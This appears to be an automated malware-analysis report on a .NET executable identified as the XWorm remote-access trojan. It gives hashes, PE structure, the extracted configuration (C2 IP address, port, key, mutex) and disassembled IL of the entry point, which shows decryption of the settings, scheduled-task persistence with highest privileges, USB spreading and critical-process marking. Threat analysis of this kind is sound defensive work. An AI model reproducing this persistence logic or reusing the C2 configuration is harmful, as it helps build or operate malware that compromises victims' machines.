Malicious
Malicious

f8e6f964d6011c183c21c22eabf94d12

PE Executable
|
MD5: f8e6f964d6011c183c21c22eabf94d12
|
Size: 43.52 KB
|
application/x-dosexec

Infection Chain
Summary by MalvaGPT
Characteristics

Symbol Ofbuscation Score

Low

Hash
Hash Value
MD5
f8e6f964d6011c183c21c22eabf94d12
Sha1
6baf859c7aa44e30f63fbae0b777152df3564f1e
Sha256
7f24166ed9844558a6bf6ed90b68fdc313d88ee09769492c6b4a6d21fee21c55
Sha384
5c14692d49af598fbc0c7d9cedec2a19849420ccc5969ac7df7dd7242e9da9096d0c14e5a1e2fe1c1260f4f0809b7096
Sha512
8826352a4dc5dab23626ffdc656d244870bc731cf624fafd4b9686f6a6283a87ce7b07a4079b3580366a2fb03a95924f7194c0648762e22f11b6488aa5c469bd
SSDeep
768:SXkVN8nPE02pA6n5FxO6waZLFRPr97flOFh/Wrn/OX:dVNIh2ptvdFB97NOFdg/OX
TLSH
09135A087BD44625D9FE7FF02DB2750A0631E6079823E78E08E5879A1F7B6C08A517E7

PeID

.NET executable
Microsoft Visual C# / Basic .NET
Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL
Microsoft Visual C# v7.0 / Basic .NET
Microsoft Visual Studio .NET
File Structure
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Malware Configuration - XWorm config.
Config. Field
Value
Mutex

YvtZ9BzLllj4UFuR

Hosts

5.182.206.88

Port

6000

KEY

<666666>

USBNM

<XWormmm>

LoggerPath

%AppData%

family

xworm

Informations
Name
Value
Info

PE Detect: PeReader OK (file layout)

Module Name

client.exe

Full Name

client.exe

EntryPoint

System.Void Stub.Main::Main()

Scope Name

client.exe

Scope Type

ModuleDef

Kind

Windows

Runtime Version

v4.0.30319

Tables Header Version

512

WinMD Version

<null>

Assembly Name

client

Assembly Version

1.0.0.0

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

<null>

Total Strings

271

Main Method

System.Void Stub.Main::Main()

Main IL Instruction Count

192

Main IL

ldsfld System.Int32 Settings::Sleep ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String Settings::Hosts call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Hosts ldsfld System.String Settings::Port call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Port ldsfld System.String Settings::KEY call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::KEY ldsfld System.String Settings::SPL call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::SPL ldsfld System.String Settings::Group call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Group ldsfld System.String Settings::USBNM call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::USBNM ldsfld System.String Settings::InstallDir call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String Settings::InstallDir ldsfld System.String Settings::InstallStr call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::InstallStr leave.s IL_00CB: call System.Boolean Stub.Helper::CreateMutex() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00CB: call System.Boolean Stub.Helper::CreateMutex() call System.Boolean Stub.Helper::CreateMutex() brtrue.s IL_00D8: ldsfld System.String Settings::InstallDir ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) ldsfld System.String Settings::InstallDir ldstr \ ldsfld System.String Settings::InstallStr call System.String System.String::Concat(System.String,System.String,System.String) stloc.0 <null> ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.DirectoryInfo::get_FullName() stloc.s V_4 ldloc.s V_4 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_011A: ldloc.0 ldloc.s V_4 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_0131: ldc.i4 1000 ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_5 ldloc.s V_5 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.0 <null> ldsfld System.String Stub.Helper::current call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_015C: ldstr "schtasks.exe" dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_6 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_015C: ldstr "schtasks.exe" ldstr schtasks.exe newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_8 ldloc.s V_8 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.String Stub.ClientSocket::UAC() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_01C2: ldloc.s V_8 ldloc.s V_8 ldc.i4.5 <null> newarr System.String stloc.s V_10 ldloc.s V_10 ldc.i4.0 <null> ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_10 ldc.i4.1 <null> ldsfld System.String Settings::InstallStr call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_10 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_10 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_10 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_10 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) br.s IL_0206: ldloc.s V_8 ldloc.s V_8 ldc.i4.5 <null> newarr System.String stloc.s V_10 ldloc.s V_10 ldc.i4.0 <null> ldstr /create /f /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_10 ldc.i4.1 <null> ldsfld System.String Settings::InstallStr call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_10 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_10 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_10 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_10 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_8 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_7 ldloc.s V_7 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave.s IL_0227: call System.Void Stub.USB::USBStart() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_9 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0227: call System.Void Stub.USB::USBStart() call System.Void Stub.USB::USBStart() call System.Void Stub.Helper::PreventSleep() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__1() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() call System.String Stub.ClientSocket::UAC() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_0258: ldnull call System.Void Stub.ProcessCritical::CriticalProcess_Enable() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__2() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.Main::_Lambda$__3() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>

Module Name

client.exe

Full Name

client.exe

EntryPoint

System.Void Stub.Main::Main()

Scope Name

client.exe

Scope Type

ModuleDef

Kind

Windows

Runtime Version

v4.0.30319

Tables Header Version

512

WinMD Version

<null>

Assembly Name

client

Assembly Version

1.0.0.0

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

<null>

Total Strings

271

Main Method

System.Void Stub.Main::Main()

Main IL Instruction Count

192

Main IL

ldsfld System.Int32 Settings::Sleep ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String Settings::Hosts call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Hosts ldsfld System.String Settings::Port call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Port ldsfld System.String Settings::KEY call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::KEY ldsfld System.String Settings::SPL call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::SPL ldsfld System.String Settings::Group call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Group ldsfld System.String Settings::USBNM call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::USBNM ldsfld System.String Settings::InstallDir call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String Settings::InstallDir ldsfld System.String Settings::InstallStr call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::InstallStr leave.s IL_00CB: call System.Boolean Stub.Helper::CreateMutex() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00CB: call System.Boolean Stub.Helper::CreateMutex() call System.Boolean Stub.Helper::CreateMutex() brtrue.s IL_00D8: ldsfld System.String Settings::InstallDir ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) ldsfld System.String Settings::InstallDir ldstr \ ldsfld System.String Settings::InstallStr call System.String System.String::Concat(System.String,System.String,System.String) stloc.0 <null> ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.DirectoryInfo::get_FullName() stloc.s V_4 ldloc.s V_4 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_011A: ldloc.0 ldloc.s V_4 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_0131: ldc.i4 1000 ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_5 ldloc.s V_5 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.0 <null> ldsfld System.String Stub.Helper::current call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_015C: ldstr "schtasks.exe" dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_6 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_015C: ldstr "schtasks.exe" ldstr schtasks.exe newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_8 ldloc.s V_8 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.String Stub.ClientSocket::UAC() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_01C2: ldloc.s V_8 ldloc.s V_8 ldc.i4.5 <null> newarr System.String stloc.s V_10 ldloc.s V_10 ldc.i4.0 <null> ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_10 ldc.i4.1 <null> ldsfld System.String Settings::InstallStr call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_10 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_10 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_10 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_10 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) br.s IL_0206: ldloc.s V_8 ldloc.s V_8 ldc.i4.5 <null> newarr System.String stloc.s V_10 ldloc.s V_10 ldc.i4.0 <null> ldstr /create /f /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_10 ldc.i4.1 <null> ldsfld System.String Settings::InstallStr call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_10 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_10 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_10 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_10 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_8 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_7 ldloc.s V_7 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave.s IL_0227: call System.Void Stub.USB::USBStart() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_9 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0227: call System.Void Stub.USB::USBStart() call System.Void Stub.USB::USBStart() call System.Void Stub.Helper::PreventSleep() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__1() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() call System.String Stub.ClientSocket::UAC() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_0258: ldnull call System.Void Stub.ProcessCritical::CriticalProcess_Enable() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__2() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.Main::_Lambda$__3() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>

Artefacts
Name
Value
Mutex

YvtZ9BzLllj4UFuR

CnC

5.182.206.88

Port

6000

f8e6f964d6011c183c21c22eabf94d12 (43.52 KB)
File Structure
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Characteristics
Malware Configuration - XWorm config.
Config. Field
Value
Mutex

YvtZ9BzLllj4UFuR

Hosts

5.182.206.88

Port

6000

KEY

<666666>

USBNM

<XWormmm>

LoggerPath

%AppData%

family

xworm

Artefacts
Name
Value Location
Mutex

YvtZ9BzLllj4UFuR

Malicious

f8e6f964d6011c183c21c22eabf94d12

CnC

5.182.206.88

Malicious

f8e6f964d6011c183c21c22eabf94d12

Port

6000

Malicious

f8e6f964d6011c183c21c22eabf94d12

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